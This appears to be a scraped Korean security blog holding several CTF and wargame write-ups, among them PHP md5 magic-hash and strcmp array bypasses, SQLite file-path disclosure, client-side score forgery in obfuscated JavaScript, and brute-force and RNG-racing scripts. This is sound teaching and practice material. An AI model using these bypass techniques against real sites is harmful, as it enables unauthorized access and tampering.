    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
}

변수명이 난독화되어 있어서 알아보기 어려우므로 ChatGPT를 사용하여 난독화를 풀어주었다.

난독화가 해제된 코드는 다음과 같다:

# 환경 변수에서 값을 가져옴
$getEnvVar = "`Get"

# 데이터 바이트 배열 생성
$bytes = "Bytes"

# 긴 문자열을 다 합친 후 결과값을 저장
$combinedData = ($getEnvVar + $bytes)

# 환경 변수 'heheFlag' 확인
if (Test-Path Env:\heheFlag) {
    Write-Host "Yep!"
} else {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

# 환경 변수 heheFlag 값을 가져옴
$envVarValue = [System.Environment]::GetEnvironmentVariable("heheFlag").Trim()

# 값이 없거나 길이가 6이 아닐 경우 실패 처리
if (-not $envVarValue) {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

if ($envVarValue.Length -ne 6) {
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
    exit
}

# 문자에 허용되지 않는 패턴이 있을 경우 실패 처리
foreach ($char in $envVarValue.ToCharArray()) {
    if ($char -notmatch '[0-9a-f]') {
        $failFilePath = Join-Path $env:temp 'Fail.txt'
        "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
        exit
    }
}

# 해시 값을 구하는 과정
$predefinedString = "fOR_be@UTy_1s_fOUnd_W17H1n_$envVarValue"
$md5 = [System.Security.Cryptography.MD5]::Create()
$bytesArray = [System.Text.Encoding]::UTF8.GetBytes($predefinedString)
$hashValue = $md5.ComputeHash($bytesArray)
$calculatedHash = [BitConverter]::ToString($hashValue) -replace '-', ''

# 예상된 해시 값과 비교
$expectedHash = "7d1c84eb2741e0e036040d4f183b16f4"

if ($calculatedHash -eq $expectedHash) {
    # 성공시 Success.txt 생성
    $successFilePath = Join-Path $env:temp 'Success.txt'
    "Success" | Out-File -FilePath $successFilePath -Encoding ascii
} else {
    # 실패시 Fail.txt 생성
    $failFilePath = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $failFilePath -Encoding ascii
}

위에서 $calculatedHash -eq $expectedHash를 만족하게 하는 predefinedString의 값이 플래그이다.

$envVarValue.Length -ne 6를 통해 expectedHash의 길이가 6임을 알 수 있으므로 Brute Force를 이용하면 플래그를 알아낼 수 있다.

플래그를 알아내는 파이썬 코드는 다음과 같다:

import hashlib
import itertools

# 주어진 조건에 맞는 해시값을 찾기 위한 변수
expected_hash = "7d1c84eb2741e0e036040d4f183b16f4"
predefined_format = "fOR_be@UTy_1s_fOUnd_W17H1n_{}"

# 16진수 허용 문자
allowed_chars = "0123456789abcdef"

# 해시값을 계산하는 함수
def calculate_hash(value):
    predefined_string = predefined_format.format(value)
    md5_hash = hashlib.md5(predefined_string.encode('utf-8')).hexdigest()
    return md5_hash

# 가능한 모든 6자리 조합을 생성하여 해시를 확인
for candidate in itertools.product(allowed_chars, repeat=6):
    env_var_value = ''.join(candidate)
    if calculate_hash(env_var_value) == expected_hash:
        result = env_var_value
        break

print(result) # fOR_be@UTy_1s_fOUnd_W17H1n_1af5c0

FIESTA{fOR_be@UTy_1s_fOUnd_W17H1n_1af5c0}

반응형
반응형

md5_compare

JUST COMPARE ONLY.

with the other value :D

 

 

 

빠르게 소스를 확인하자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }
 
    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force
 
        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
 
        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1!= md5($v2)) {$chk = false;}
 
        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

간단하다 v1은 전부 알파벳으로 이루어져 있어야 하고, v2는 전부 숫자로 이루어져 있어야 한다.

 

그리고 v1의 md5해쉬 값과 v2의 md5 해쉬값이 일치해야 한다.

 

 

 

 

php의 느슨한 비교(==)를 하기 때문에 magic hash를 사용할 수 있다.

 

v | input | md5

v1 | QNKCDZO | 0e830400451993494058024219903391

v2 | 240610708 | 0e46209743190650901956298873685

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
반응형

DB is really GOOD

What kind of this Database?

you have to find correlation between user name and database.

 

 

 

 

user name과 db의 상관관계를 찾아내면 될 것 같다.

 

 

 

첫 화면에서 admin으로 로그인 되지 않는다. 페이지 소스를 보면 

function fschk(f){
    if(f.user_id.value=="admin"){
        alert("dont access with 'admin'");
        return false;
    }
}

admin으로 로그인을 막는 js 코드가 존재한다.

 

 

그러나 해당 코드를 삭제해도 can not access admin.. 라고 admin으로 로그인이 불가능하다.

 

 

 

 

 

다른 닉네임들로 로그인해서 몇 번 만져보면 user name 가 하나의 다른 게시판역할을 하는 것을 알 수 있다.

 

= 다른 사람이 입력을 안했을 것 같은 user name으로 들어가보면 아무것도 없다.

= guest로 들어가서 메모를 남겨놓으면 나중에 guest로 들어가도 남아있다.

 

 

 

그러면 admin인 게시판을 찾아야 하는데 딱히 단서가 보이지 않았다.

 

그래서 메인 화면에서 여러가지 user name을 시도해 보았다.

 

 

 

 

<>?,./을 입력했을 때 오류메세지를 얻을 수 있었고 입력한 값을 경로로 하는 것을 찾을 수 있었다.

 

입력값을 경로로 하기 때문에 오류나는 문자는 . 나 / 일것이고, 결국 / 가 오류가 나는 원인임을 찾을 수 있었다.

 

 

 

 

 

Fatal error: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in /var/www/html/db_is_really_good/sqlite3.php:7 Stack trace: #0 /var/www/html/db_is_really_good/sqlite3.php(7): SQLite3->open('./db/wkrm_/.db') #1 /var/www/html/db_is_really_good/memo.php(14): MyDB->__construct('./db/wkrm_/.db') #2 {main} thrown in /var/www/html/db_is_really_good/sqlite3.php on line 7

 

 

 

./db/wkrm_[입력값].db 을 가져오는 것을 알 수 있다.

 

[입력값] 에 admin을 넣은 경로로 이동하면 해당 db파일을 다운로드 받을 수 있다.

 

 

 

 

 

 

 

 

다운로드 받은 파일을 Hxd로 열면 주소를 하나 더 얻을 수 있다.

 

해당 주소로 이동하면 flag가 나온다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
반응형

strcmp

if you can bypass the strcmp function, you get the flag.

 

 

 

password를 입력받는 칸과 소스를 확인할 수 있는 링크가 있다.

 

일단 소스코드를 확인해 보자.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    require("../lib.php"); // for auth_code function
 
    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());
 
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password== 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }
 
?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

$password sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

 

$password는 랜덤 값의 sha1 해쉬값이다. 따라서 때려맞출 수는 없다.

 

 

 

 

대신 strcmp함수의 취약점을 이용하면 된다.

 

strcmp(String, Array()) 는 NULL을 반환한다.

 

php에서 NULL == 0 은 True가 된다.

 

 

 

 

 

 

따라서 password를 배열로 보내면 flag를 얻을 수 있게 된다.

 

크롬 개발자 도구를 이용해서 password를 password[]로 바꾼 뒤에 아무 값이나 입력해서 보내면, flag를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
반응형

fly me to the moon

 

javascript game.

can you clear with bypass prevent cheating system?

 

 

 

 

게임을 시작하면, 양 옆 초록색 벽에 부딪히지 않도록 움직여야 한다.

 

 

 

 

 

 

벽에 닿아 죽게 되면 31337점을 얻어야 된다고 나온다.

 

 

 

그럼 이제 js 코드를 확인해 보자

 

난독화가 되어 있어서 읽을 수 없다.

 

 

 

 

 

 

위 난독화 정도는 아래 사이트를 이용해서 unPack이 가능하다.

https://www.strictly-software.com/unpack-javascript

 

Javascript Unpacker Tool - Strictly Software

This Javascript unpacker tool has now been upgraded to allow it to unpack multiple eval statements. So if your packed code has itself been packed a few times it will loop through until it finds the original source code. If you want to test this multiple ev

www.strictly-software.com

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
var _0x32bb = ["\x6B\x69\x6C\x6C\x50\x6C\x61\x79\x65\x72""\x63\x68\x65\x63\x6B\x4C\x69\x66\x65""\x67\x65\x74\x53\x63\x6F\x72\x65""\x42\x69\x6E\x63\x53\x63\x6F\x72\x65""\x73\x68\x72\x69\x6E\x6B\x54\x75\x6E\x6E\x65\x6C""\x77\x69\x64\x74\x68\x54\x75\x6E\x6E\x65\x6C""\x6F\x62\x6A\x65\x63\x74""\x44\x6F\x20\x63\x68\x65\x61\x74\x69\x6E\x67\x2C\x20\x69\x66\x20\x79\x6F\x75\x20\x63\x61\x6E""\x77\x61\x72\x6E""\x6F\x66\x66\x73\x65\x74\x4C\x65\x66\x74""\x74\x75\x6E\x6E\x65\x6C""\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64""\x74\x6F\x70""""\x70\x78""\x63\x73\x73""\x64\x69\x73\x70\x6C\x61\x79""\x62\x6C\x6F\x63\x6B""\x65\x61\x63\x68""\x69\x6D\x67\x2E\x6C\x65\x66\x74\x5F\x77\x61\x6C\x6C""\x69\x6D\x67\x2E\x72\x69\x67\x68\x74\x5F\x77\x61\x6C\x6C""\x23\x68\x69\x67\x68\x5F\x73\x63\x6F\x72\x65\x73""\x72\x65\x6D\x6F\x76\x65""\x74\x61\x62\x6C\x65""\x6E\x6F\x6E\x65""\x64\x69\x76\x23\x73\x63\x6F\x72\x65\x5F\x74\x61\x62\x6C\x65""\x63\x6C\x69\x63\x6B""\x74\x65\x78\x74""\x73\x70\x61\x6E\x23\x73\x63\x6F\x72\x65""\x6C\x65\x66\x74""\x69\x6D\x67\x23\x73\x68\x69\x70""\x73\x6C\x6F\x77""\x66\x61\x64\x65\x49\x6E""\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x70\x6F\x73\x69\x74\x69\x6F\x6E""\x35\x30\x25\x20""\x64\x69\x76\x23\x74\x75\x6E\x6E\x65\x6C""\x72\x61\x6E\x64\x6F\x6D""\x66\x6C\x6F\x6F\x72""\x75\x70\x64\x61\x74\x65\x54\x75\x6E\x6E\x65\x6C\x28\x29""\x66\x61\x64\x65\x4F\x75\x74""\x50\x4F\x53\x54""\x68\x69\x67\x68\x2D\x73\x63\x6F\x72\x65\x73\x2E\x70\x68\x70""\x74\x6F\x6B\x65\x6E\x3D""\x26\x73\x63\x6F\x72\x65\x3D""\x61\x6A\x61\x78""\x68\x74\x6D\x6C""\x70\x23\x77\x65\x6C\x63\x6F\x6D\x65""\x75\x70\x64\x61\x74\x65\x54\x6F\x6B\x65\x6E\x28\x29""\x74\x68\x78\x2C\x20\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x6D\x6F\x75\x73\x65\x6F\x76\x65\x72""\x23\x63\x68\x72\x69\x73\x74\x69\x61\x6E""\x6D\x6F\x75\x73\x65\x6F\x75\x74""\x72\x65\x61\x64\x79""\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x70\x61\x67\x65\x58""\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65""\x74\x6F\x6B\x65\x6E\x2E\x70\x68\x70""\x67\x65\x74"];
function secureGame() {
    var _0x8618x2 = this;
    var _0x8618x3 = true;
    function _0x8618x4() {
        _0x8618x3 = false;
        return true
    };
    function _0x8618x5() {
        return _0x8618x3
    };
    this[_0x32bb[0]] = function () {
        _0x8618x4();
        return true
    };
    this[_0x32bb[1]] = function () {
        return _0x8618x5()
    };
    var _0x8618x6 = 0;
    function _0x8618x7() {
        return _0x8618x6
    };
    function _0x8618x8() {
        if (_0x8618x3) {
            _0x8618x6++
        };
        return true
    };
    this[_0x32bb[2]] = function () {
        return _0x8618x7()
    };
    this[_0x32bb[3]] = function () {
        _0x8618x8();
        return true
    };
    var _0x8618x9 = 320;
    function _0x8618xa() {
        _0x8618x9 -= 20;
        return true
    };
    function _0x8618xb() {
        return _0x8618x9
    };
    this[_0x32bb[4]] = function () {
        _0x8618xa();
        return true
    };
    this[_0x32bb[5]] = function () {
        return _0x8618xb()
    }
};
var bg_val = 0;
var rail_left = 0;
var rail_right = 500;
var ship_x = 234;
var pos_x = 234;
var c_s = 0;
var c_r = 0;
var c_w = 0;
var t_state = 0;
left_wall = new Array(20);
right_wall = new Array(20);
function initTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    rail_left = document[_0x32bb[11]](_0x32bb[10])[_0x32bb[9]];
    rail_right += rail_left;
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[25])[_0x32bb[26]](function () {
        $(_0x32bb[23])[_0x32bb[22]](_0x32bb[21]);
        $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        restartTunnel();
        updateTunnel()
    })
};
function restartTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    ship_x = 234;
    c_s = 0;
    c_r = 0;
    c_w = 0;
    $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ 0);
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[30])[_0x32bb[32]](_0x32bb[31]);
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    })
};
function updateTunnel() {
    bg_val = bg_val + 2;
    if (bg_val > 20) {
        bg_val = 0
    };
    $(_0x32bb[35])[_0x32bb[15]](_0x32bb[33], _0x32bb[34+ bg_val + _0x32bb[14]);
    if (ship_x + 32 < 500) {
        if (ship_x + 46 < pos_x) {
            ship_x += 4
        } else {
            if (ship_x + 16 < pos_x) {
                ship_x += 2
            }
        }
    };
    if (ship_x > 0) {
        if (ship_x - 14 > pos_x) {
            ship_x -= 4
        } else {
            if (ship_x + 16 > pos_x) {
                ship_x -= 2
            }
        }
    };
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    c_r++;
    if (c_r > 60) {
        c_r = 0;
        t_state = Math[_0x32bb[37]](Math[_0x32bb[36]]() * 2)
    };
    if (left_wall[0< 10) {
        t_state = 1
    } else {
        if (right_wall[0> 470) {
            t_state = 0
        }
    };
    y = 0;
    for (y = 20; y > 0; y--) {
        left_wall[y] = left_wall[y - 1];
        right_wall[y] = right_wall[y - 1]
    };
    if (t_state == 0) {
        left_wall[0-= 3
    };
    if (t_state == 1) {
        left_wall[0+= 3
    };
    right_wall[0= left_wall[0+ BTunnelGame[_0x32bb[5]]();
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ left_wall[_0x8618x16] + _0x32bb[14])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ right_wall[_0x8618x16] + _0x32bb[14])
    });
    if (BTunnelGame[_0x32bb[5]]() >= 120) {
        c_w++;
        if (c_w > 100) {
            c_w = 0;
            BTunnelGame[_0x32bb[4]]();
            left_wall[0+= 10
        }
    };
    c_s++;
    if (c_s > 20) {
        c_s = 0;
        BTunnelGame.BincScore();
        $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ BTunnelGame[_0x32bb[2]]())
    };
    if (ship_x <= left_wall[18+ 20 || ship_x + 32 >= right_wall[18]) {
        BTunnelGame[_0x32bb[0]]()
    };
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
};
function scoreUpdate() {
    return
};
function showHighScores(_0x8618x19) {
    $(_0x32bb[25])[_0x32bb[45]](_0x8618x19);
    $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
};
$(document)[_0x32bb[52]](function () {
    $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[17]);
    updateToken();
    setInterval(_0x32bb[47], 10000);
    $(_0x32bb[46])[_0x32bb[26]](function () {
        $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        initTunnel();
        updateTunnel()
    });
    $(_0x32bb[50])[_0x32bb[49]](function () {
        $(this)[_0x32bb[45]](_0x32bb[48])
    });
    $(_0x32bb[50])[_0x32bb[51]](function () {
        $(this)[_0x32bb[45]](temp)
    })
});
var temp = _0x32bb[53];
$(document)[_0x32bb[55]](function (_0x8618x1d) {
    pos_x = _0x8618x1d[_0x32bb[54]] - rail_left
});
var token = _0x32bb[13];
function updateToken() {
    $[_0x32bb[57]](_0x32bb[56], function (_0x8618x20) {
        token = _0x8618x20
    })
};
cs

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
cs

 

점수와 관련된 코드를 찾았다.

 

언팩한 코드를 개발자 도구>콘솔 을 이용해서 재정의 한 뒤, 게임을 한 판 하고 변수의 내용을 확인해 보았다.

 

 

 

 

 

BtunnelGame[_0x32bb[2]]() 함수가 점수를 반환하는 함수임을 알 수 있다.

 

 

 

따라서 해당 함수 대신에 "31337"을 넣어서 js코드 재정의 후

 

게임을 하면, 점수를 전송하는 페이지에 점수가 31337로 들어가게 되고, key를 얻을 수 있게 된다.

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

반응형
반응형

Timisoara CTF 2019 Write-up

TEAM : WTB

 

 

제출했던 풀이 보고서(영문): write-up:

Timisoara_CTF_2019_Quals_Write-up_WTB.docx
4.40MB

 

 

아래는 제가 푼 문제 + a 들의 풀이입니다. (곧 세부설명 수정)

 

CRYPTO

Baby Crypto (50pts) 

This file seems... odd

 

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

 

카이사르 돌리면 된다.

 

 

Proof of work (100pts)

 

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

 

0부터 1씩 증가시켜서 전부 sha256을 돌린다.

돌려서 끝에 7자리가 0인 것을 뽑아내면 된다.

 

python3는 느리기 때문에 pypy3를 설치해서 사용했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
 
= 0
while True:
    string = str(i)
    encoded_string = string.encode()
    hexdigest = hashlib.sha256(encoded_string).hexdigest()
    if "0000000" in str(hexdigest):
        print(str(i) +": " +hexdigest)
    i = i +1
 
#365512095
#TIMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}
cs

 

10분이상 돌렸던 것 같다.

 

 

Alien Alphabet (150pts) 

I found this strange text. It is written in some strange alphabet. Can you decode it?

 

직접 문자에 알파벳 치환시켜서 빈도분석.

 

 

Password breaker (150pts) 

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you're doing it wrong.

 

1. 사전공격

2. 브포공격

 

 

TimCTF gamblig service (200pts) 

Predict the next number to win. Are you that lucky?

시간기반 랜덤값

pipe 2개 연결해서 하나는 값을 받고 하나는 받은 값을 그대로 보내버리면 됨.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("89.38.208.143"21023)
p2 = remote("89.38.208.143"21023)
p.recvuntil(": ")
p.sendline("1")
 
p2.recvuntil(": ")
p2.sendline("2")
 
= p.recvline()
p.close()
p2.sendline(n)
 
p2.interactive()
 
cs

 

 

Strange cipher (250pts) 

I have found this strange encryption service. Can you decode it?

 

한 글자씩 hex값을 맞춰가면 됨.

 

 

Forensics

Deleted file (100pts) 

Help! I accidentally deleted a photo! Can you recover it for me please?

Non-standard flag format

 

png 시그니쳐 찾아서 카빙

 

 

Strange image (100pts) 

I received this "image" in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you "fixed" it and it does not open, try using a few different photo viewers.

Hint! When you 'fix' your image make sure you try multiple photo viewers as some might not want to display it

 

 xor 0x7a 연산을 하면 복구가 됨.

 

script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii
import re
 
fd = open("john.png""rb")
dat = fd.read()
data = binascii.b2a_hex(dat)
datas = re.findall(r'..',data)
 
red = ""
for i in range(0len(datas)):
    bit = eval("0x"+str(datas[i])+" ^ 0x7a")
    rad = str(hex(bit))
    if len(rad) == 3 :
        rad = rad.replace("0x""0x0")
        red += rad
    else :
        red += str(hex(bit))
print red
bin_ = ""
for j in range(0len(red), 4):
    binary_d = str(red[j:j+4])
    binary_d = binary_d.replace("0x""")
    bin_ += "\\x"+binary_d
 
fh = open("image.png""wb")
